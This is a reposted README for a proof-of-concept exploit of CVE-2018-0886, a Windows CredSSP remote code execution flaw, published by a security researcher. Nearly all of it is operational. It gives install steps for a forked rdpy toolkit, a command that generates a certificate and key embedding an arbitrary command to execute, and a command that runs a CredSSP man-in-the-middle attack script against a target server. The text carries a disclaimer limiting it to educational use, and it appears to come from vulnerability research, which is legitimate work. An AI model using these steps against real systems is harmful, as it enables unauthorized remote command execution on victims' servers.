PoC | credssp — Windows远程代码执行漏洞CVE-2018-0886 PoC

发布时间：2018-04-14 15:38:34

# credssp
This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only.
It relies on a fork of the rdpy project(<a>https://github.com/preempt/rdpy</a>&nbsp;), allowing also credssp relay. Written by Eyal Karni, Preempt
<a>ekarni@preempt.com</a>&nbsp; 
 #Build

##Instructions (Linux)

If you are using Ubuntu 14 , check the install file..
It was tested on Ubuntu 16.04. <pre><code>$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install
</code></pre>
<ul>
<li>It assumes a pretty clean inital state. Best to uninstall first relevant compontants such as cryptography,pyopenssl maybe (pip uninstall cryptography).</li>
<li>A different version of openssl needed to be installed for this to run successfully. The install script does that.</li>
<li>Please follow the instructions in the described order.</li>
</ul>

#Running the exploit

Export a certificate suitable for Server Authentication from any domain. To generate a suitable certificate for the command to execute : <pre><code>$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 
</code></pre>
(exploitc.pem ,exploitk.pem are the generated certificate and private key respectively) To run the attack script: <pre><code>$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer
</code></pre>
More details are in the usage section of the scripts(--help).

原文 / From https://github.com/preempt/credssp